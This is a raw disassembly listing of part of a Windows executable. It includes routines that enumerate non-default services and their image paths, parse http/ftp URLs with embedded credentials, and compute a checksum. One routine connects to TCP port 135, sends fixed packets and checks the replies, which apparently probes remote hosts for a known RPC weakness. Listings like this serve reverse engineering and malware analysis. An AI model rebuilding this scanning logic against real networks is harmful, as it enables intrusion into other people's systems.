var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4207E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 2900A56h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42082F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42082F:				; CODE XREF: sub_4207E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44530C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset aNla	; "Nla"
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_40142E
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_511718
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420B8F
		mov	ebp, dword_511764


loc_420A6B:				; CODE XREF: sub_4207E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420A97
		lea	esi, [esp+524h+var_4E0]


loc_420A78:				; CODE XREF: sub_4207E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_420B73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420A78


loc_420A97:				; CODE XREF: sub_4207E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_40168B
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420AE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420AE3:				; CODE XREF: sub_4207E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		call	near ptr 28E0000h
		nop
		cmp	eax, ebx
		jz	short loc_420B1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420B1D:				; CODE XREF: sub_4207E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420B3A:				; CODE XREF: sub_4207E0+301j
					; sub_4207E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014D3
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420B73:				; CODE XREF: sub_4207E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420A6B
		mov	ebp, [esp+524h+var_4FC]


loc_420B8F:				; CODE XREF: sub_4207E0+27Fj
		push	ebp
		call	near ptr 2910382h
		nop
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4207E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CD0	proc near		; CODE XREF: sub_4015F5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 2871CD7h
		push	eax
		nop
		call	near ptr 2871199h
		mov	eax, esi
		pop	esi
		retn
sub_420CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D00	proc near		; CODE XREF: sub_401A37j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420D39


loc_420D22:				; CODE XREF: sub_420D00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420D22
		cmp	ecx, 0
		jz	short loc_420D4A


loc_420D39:				; CODE XREF: sub_420D00+20j
					; sub_420D00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420D39


loc_420D4A:				; CODE XREF: sub_420D00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420D00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50DB24, eax
		mov	eax, offset dword_50DB24
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DC0:				; CODE XREF: ___:0040177Bj
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_511AAC
		push	esi
		call	edi
		mov	ebp, dword_511AA4
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp
		push	esi
		call	edi
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E10	proc near		; CODE XREF: sub_401947j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420E3F
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420E10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_40142E
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015E1
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420ECF:				; CODE XREF: sub_420E10+92j
					; sub_420E10+A2j
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D34
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4453E0 ; "/"
		push	1
		jz	loc_42120C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_420FC9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420FC9:				; CODE XREF: sub_420E10+19Cj
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421095
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42107E
		mov	dword ptr [esi+54h], 50h


loc_42107E:				; CODE XREF: sub_420E10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421095
		mov	dword ptr [esi+54h], 15h


loc_421095:				; CODE XREF: sub_420E10+255j
					; sub_420E10+27Cj
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016B8
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42114E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42114E:				; CODE XREF: sub_420E10+321j
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016B8
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421333
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42120C:				; CODE XREF: sub_420E10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421293
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_420E10+466j
		push	offset asc_4453E0 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421333
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42131C
		mov	dword ptr [esi+54h], 50h


loc_42131C:				; CODE XREF: sub_420E10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421333
		mov	dword ptr [esi+54h], 15h


loc_421333:				; CODE XREF: sub_420E10+3DBj
					; sub_420E10+4F3j ...
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013ED
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E47
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013ED
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013ED
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4453E0 ; "/"
		mov	ecx, esi
		call	sub_4015E1
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016C7
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421419:				; CODE XREF: sub_420E10+2Aj
					; sub_420E10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420E10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4215D0	proc near		; CODE XREF: sub_401AFFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4215FB


loc_4215E4:				; CODE XREF: sub_4215D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421602
		inc	eax
		cmp	eax, edx
		jl	short loc_4215E4


loc_4215FB:				; CODE XREF: sub_4215D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421602:				; CODE XREF: sub_4215D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4215D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421620:				; CODE XREF: ___:004020B8j
		mov	eax, 2010h
		call	sub_437B30
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42166D
		dec	eax
		jz	short loc_421647
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421647:				; CODE XREF: ___:00421638j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402022
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: ___:00421635j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	ebp, dword_511CA0
		push	0
		push	48h
		push	offset dword_444DA8
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4217C2
		push	0
		push	18h
		push	offset dword_444E1C
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4217C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4217C2
		push	10h
		push	offset loc_444DF4
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AFF
		add	esp, 10h
		test	al, al
		jz	short loc_421791
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: ___:0042176Ej
		push	10h
		push	offset dword_444E08
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AFF
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4217C2:				; CODE XREF: ___:004216DBj
					; ___:004216F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4217C9:				; CODE XREF: ___:0042167Ej
					; ___:00421687j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421850:				; CODE XREF: ___:00401A0Fj
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421870:				; CODE XREF: ___:00401168j
					; ___:loc_4019F6j
		push	esi
		mov	esi, ecx
		call	sub_4015CD
		test	byte ptr [esp+8], 1
		jz	short loc_421888
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_421888:				; CODE XREF: ___:0042187Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4218A0	proc near		; CODE XREF: sub_4015CDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4218A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0D0
